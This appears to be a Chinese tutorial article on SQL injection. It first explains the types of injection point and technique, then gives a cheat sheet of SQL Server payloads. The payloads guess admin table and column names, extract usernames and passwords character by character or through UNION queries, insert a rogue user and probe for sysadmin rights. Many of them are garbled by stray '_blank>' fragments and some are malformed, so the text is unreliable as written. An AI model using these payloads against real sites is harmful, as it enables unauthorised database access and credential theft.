sql注入語句是什麼

sql注入語句有三種，分別是：1、數字型注入點，語句如「select * from 表名where id=1 and 1=1」；2、字元型注入點，語句如「 select * from 表名where name...」；3、搜尋型注入點。

本文操作環境：Windows7系統，SQL Server 2016版本，Dell G3電腦。

sql注入常用語句

SQL注入

#1. 什麼是sql注入

透過把SQL指令插入到Web表單提交或輸入網域名稱或頁面請求的查詢字串，最終達到欺騙伺服器執行惡意的SQL指令。

2. sql注入類型

依照注入點型別來分類

（1）數位型注入點

許多網頁連結有類似的結構 http ://xxx.com/users.php?id=1 基於此形式的注入，一般被稱為數字型注入點，緣由是其註入點id 類型為數字，在大多數的網頁中，諸如查看用戶個人信息，查看文章等，大都會使用這種形式的結構傳遞id等信息，交給後端，查詢出數據庫中對應的信息，返回給前台。這一類的SQL 語句原型大概為 select * from 表名where id=1 若存在註入，我們可以建構出類似與如下的sql注入語句進行爆破：select * from 表名where id=1 and 1=1

（2）字元型注入點

網頁連結有類似的結構 http://xxx.com/users.php?name= admin 這種形式，其註入點name 類型為字元類型，所以叫做字元型注入點。這一類的SQL 語句原型大概為 select * from 表名where name='admin' 值得注意的是這裡相比於數位型注入類型的sql語句原型多了引號，可以是單引號或是雙引號。若存在註入，我們可以構造出類似與如下的sql注入語句進行爆破：select * from 表名where name='admin' and 1=1 ' 我們需要將這些煩人的引號給處理掉。

（3）搜尋型注入點

這是一類特殊的注入型別。這類注入主要是指在進行資料搜尋時沒有過濾搜尋參數，一般在連結位址中有 "keyword=關鍵字" 有的沒有顯示的連結位址裡面，而是直接透過搜尋框表單提交。此類注入點提交的SQL 語句，其原形大致為：select * from 表名where 字段like '%關鍵字%' 若存在註入，我們可以構造出類似與如下的sql注入語句進行爆破：select * from 表名where 字段like '%測試%' and '%1%'='%1%'

依照資料提交的方式來分類

（1）GET 注入

提交資料的方式是GET , 注入點的位置在GET 參數部分。例如有這樣的一個連結http://xxx.com/news.php?id=1 , id 是注入點。

（2）POST 注入

使用 POST 方式提交數據，注入點位置在 POST 數據部分，常發生在表單中。

（3）Cookie 注入

HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當中的某個欄位中。

（4）HTTP 頭部注入

注入點在 HTTP 請求頭部的某個欄位中。例如存在 User-Agent 字段中。嚴格講的話，Cookie 其實應該也是算頭部注入的一種形式。因為在 HTTP 請求的時候，Cookie 是頭部的一個欄位。

依照執行效果來分類

（1）基於布林的盲注

即可以根據傳回頁面判斷條件真假的注入。

（2）基於時間的盲注

即不能根據頁面返回內容判斷任何訊息，用條件語句查看時間延遲語句是否執行（即頁面返回時間是否增加）來判斷。

（3）基於報錯注入

即頁面會傳回錯誤訊息，或是把注入的語句的結果直接回傳在頁面中。

1. 單引號
2. 雙引號
3. 基於數字型注入

（4）聯合查詢注入

可以使用union的情況下的注入。

常用語句

1.判断有无注入点 
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 
and 0<>(select count(*) from *) 
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 
and 0<(select count(*) from admin) 
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 
and 1=(select count(*) from admin where len(*)>0)-- 
and 1=(select count(*) from admin where len(用户字段名称name)>0) 
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 
and 1=(select count(*) from admin where len(*)>0) 
and 1=(select count(*) from admin where len(name)>6) 错误 
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确 
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符 
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1-- 
group by users.id, users.username, users.password, users.privs having 1=1-- 
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable- 
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id)- 
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id,login_blank>_name)- 
UNION SELECT TOP 1 login_blank>_name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
看_blank>服务器打的补丁=出错了打了SP4补丁 
and 1=(select @@VERSION)--
看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。 
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA） 
and sa=(SELECT System_blank>_user)-- 
and user_blank>_name()=dbo-- 
and 0<>(select user_blank>_name()--

 推薦（免費）：sql教學

以上是sql注入語句是什麼的詳細內容。更多資訊請關注PHP中文網其他相關文章！